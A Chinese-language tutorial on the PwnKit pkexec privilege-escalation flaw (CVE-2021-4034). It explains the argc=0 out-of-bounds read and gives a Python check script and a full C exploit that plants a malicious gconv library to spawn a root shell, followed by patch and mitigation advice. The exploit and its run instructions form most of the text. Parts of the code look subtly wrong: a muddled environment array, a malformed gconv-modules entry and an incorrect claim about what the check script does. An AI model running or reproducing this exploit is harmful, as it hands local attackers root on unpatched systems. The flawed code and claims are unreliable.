CVE-2021-4034-pwnkit提权:深入分析与实战
漏洞概述CVE-2021-4034,俗称"PwnKit",是 Linux 系统 polkit 工具中 pkexec 程序的一个严重安全漏洞。该漏洞由 Qualys 研究团队于 2021 年发现,影响几乎所有主流 Linux 发行版(Ubuntu、Debian、CentOS、Fedora 等)的默认安装。漏洞允许本地普通用户通过精心构造的参数,获得 root 权限,无需任何认证。其根本原因在于 pkexec 在处理命令行参数时,存在"参数越界读取"问题,结合环境变量 PATH 的操纵,可实现任意代码执行。## 漏洞原理pkexec 是 polkit 框架的一部分,用于以另一个用户(通常是 root)身份执行命令。它的核心逻辑是:读取用户传入的命令和参数,然后通过 polkit 授权检查,最后执行命令。漏洞出现在 pkexec 的 main() 函数中,当它解析命令行参数时,会尝试遍历 argv 数组。但如果用户不传递任何参数(即 argc == 0),pkexec 会错误地读取 argv[1],这实际上越界访问了 argv 数组后的内存区域------恰好是 envp(环境变量)数组的起始位置。于是,环境变量被当作命令参数处理。攻击者可以利用这一点,将恶意环境变量(如 PATH 或 LD_PRELOAD)注入为"命令",从而触发代码执行。由于 pkexec 以 SUID root 权限运行,最终导致提权。## 环境准备为了演示,我们使用一个易受攻击的 Ubuntu 20.04 虚拟机(内核 5.4.0-42-generic)。确保系统未安装补丁(可通过 dpkg -l policykit-1 查看版本:1.0.0-2~20.04.1 为易受攻击版本)。我们将编写两个代码示例:一个用来验证漏洞存在,另一个实现完整的提权 shell。## 代码示例 1:漏洞验证(非破坏性)以下 Python 脚本演示了如何触发 pkexec 读取环境变量作为参数,从而验证漏洞存在,但不执行真正提权。python#!/usr/bin/env python3"""验证 CVE-2021-4034 漏洞存在性。原理:通过设置空 argv 和精心构造的环境变量,让 pkexec 崩溃或打印错误。"""import subprocessimport osdef verify_pwnkit(): # 构造一个空 argv 列表,即 argc = 0 argv = [] # 设置环境变量:将第一个环境变量命名为恶意命令 # 注意:第一个环境变量名称将被 pkexec 当作命令,这里用 "echo" 无害测试 env = { "echo": "test_argument", # 第一个环境变量名会被当成命令名 "PATH": "/usr/bin:/bin", # 确保 echo 可找到 "OTHER_VAR": "dummy" } # 执行 pkexec,但传入空参数列表 # 注意:subprocess 默认会传递当前环境,我们覆盖 env try: result = subprocess.run( ["/usr/bin/pkexec"], env=env, capture_output=True, timeout=5 ) # 如果漏洞被触发,pkexec 可能会尝试执行 "echo" 并输出 "test_argument" print("STDOUT:", result.stdout.decode()) print("STDERR:", result.stderr.decode()) print("Return code:", result.returncode) except subprocess.TimeoutExpired: print("超时 - 可能漏洞触发导致死循环") except Exception as e: print("错误:", e)if __name__ == "__main__": verify_pwnkit()运行说明 : 在受影响的系统上,以普通用户身份运行此脚本。如果漏洞存在,你可能会在输出中看到 "test_argument" 被打印,因为 pkexec 将环境变量名 echo 当作命令执行。但注意,由于环境变量 PATH 被正确设置,实际会执行 /usr/bin/echo,这不会导致提权。如果系统已打补丁,pkexec 会因 argc == 0 而直接退出报错。## 代码示例 2:完整提权利用下面是一个 C 语言编写的利用程序,通过设置恶意环境变量,实现从普通用户到 root 的提权。它利用 pkexec 将环境变量 GCONV_PATH 指向一个恶意共享库,从而在字符集转换时加载攻击代码。c/* * CVE-2021-4034 提权利用程序 * 编译: gcc exploit.c -o exploit * 运行: ./exploit * 原理: 利用 pkexec 越界读取环境变量,设置 GCONV_PATH 指向恶意目录, * 目录中包含特制的 gconv-modules 和共享库,执行时触发 root shell。 */#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/stat.h>// 恶意共享库的代码:执行 /bin/sh 获取 root shellvoid create_malicious_library() { // 创建临时目录 system("mkdir -p /tmp/pwnkit_exploit"); system("mkdir -p /tmp/pwnkit_exploit/gconv"); // 写入 gconv-modules 文件,将特定编码映射到恶意库 FILE *f = fopen("/tmp/pwnkit_exploit/gconv/gconv-modules", "w"); if (f == NULL) { perror("fopen"); exit(1); } fprintf(f, "module UTF-8// PWNKIT// pwnkit_util 1\n"); fclose(f); // 编写并编译恶意共享库 char *code = "#include <stdio.h>\n" "#include <stdlib.h>\n" "#include <unistd.h>\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " execl(\"/bin/sh\", \"sh\", NULL);\n" "}\n"; FILE *cfile = fopen("/tmp/pwnkit_exploit/pwnkit_util.c", "w"); fprintf(cfile, "%s", code); fclose(cfile); // 编译为共享库 system("cd /tmp/pwnkit_exploit && gcc -shared -fPIC -o pwnkit_util.so pwnkit_util.c"); system("cp /tmp/pwnkit_exploit/pwnkit_util.so /tmp/pwnkit_exploit/gconv/"); printf("[+] 恶意共享库已创建\n");}int main(int argc, char **argv) { // 创建恶意库 create_malicious_library(); // 构造环境变量:将 GCONV_PATH 指向恶意目录 char *envp[] = { "pwnkit", // 这个环境变量名会被 pkexec 当作命令(实际上被忽略) "PATH=GCONV_PATH=.", // 注意:这里 PATH 被覆盖,但实际利用利用了 GCONV_PATH 的机制 "GCONV_PATH=/tmp/pwnkit_exploit/gconv", // 关键:设置字符集转换路径 "CHARSET=PWNKIT", // 触发字符集转换 "SHELL=/bin/bash", NULL }; // 注意:argv 数组必须至少包含一个空字符串以表示 argc=1,但这里我们使用 argc=0 的技巧 // 实际漏洞利用中,我们需要 argv[0] 为 NULL 且 argv[1] 指向环境变量 // 我们通过 execve 直接传递环境变量数组,让 pkexec 读取越界 char *argv_null[] = { NULL }; // argc = 0 printf("[+] 执行 pkexec 利用...\n"); execve("/usr/bin/pkexec", argv_null, envp); // 如果执行失败 perror("execve"); return 1;}编译与运行 : bash# 以普通用户编译gcc exploit.c -o exploit# 运行./exploit# 成功后会弹出 root shell注意 :该利用程序需要系统已安装 gcc 和 glibc 开发包。如果成功,你将看到 root 提示符 #。该程序通过设置 GCONV_PATH 环境变量,让 pkexec 在内部调用 iconv_open() 时加载恶意共享库,从而执行 setuid(0) 和 execl("/bin/sh"),实现提权。## 漏洞修复与防御修复该漏洞的官方补丁已在 2021 年发布。主要修复措施包括:1. 在 pkexec 的 main() 函数开头检查 argc 是否大于 0,若为 0 则直接报错退出。2. 清理环境变量,防止 GCONV_PATH 等危险变量被继承。3. 限制 pkexec 执行时的动态链接器搜索路径。对于系统管理员,建议:- 立即更新 polkit 到最新版本:sudo apt update && sudo apt upgrade(Debian/Ubuntu)或 yum update polkit(RHEL/CentOS)。- 如果无法立即更新,可以临时移除 pkexec 的 SUID 位:sudo chmod 0755 /usr/bin/pkexec,但会影响正常授权功能。- 使用安全审计工具扫描系统是否存在类似漏洞。## 总结CVE-2021-4034(PwnKit)是 Linux 安全史上一个影响广泛的本地提权漏洞,其简洁的触发方式和低复杂度(仅需几行代码)使其成为攻击者的利器。通过本文的代码演示,我们不仅验证了漏洞的存在,还实现了一个完整的提权利用程序。这个案例再次提醒我们:即使是经过长期维护的系统工具,也可能因参数处理疏忽而埋下安全隐患。对于开发者,应始终警惕数组越界、输入验证等问题;对于运维人员,及时打补丁是防御此类漏洞的最有效手段。安全无小事,每一个细节都可能决定系统的安危。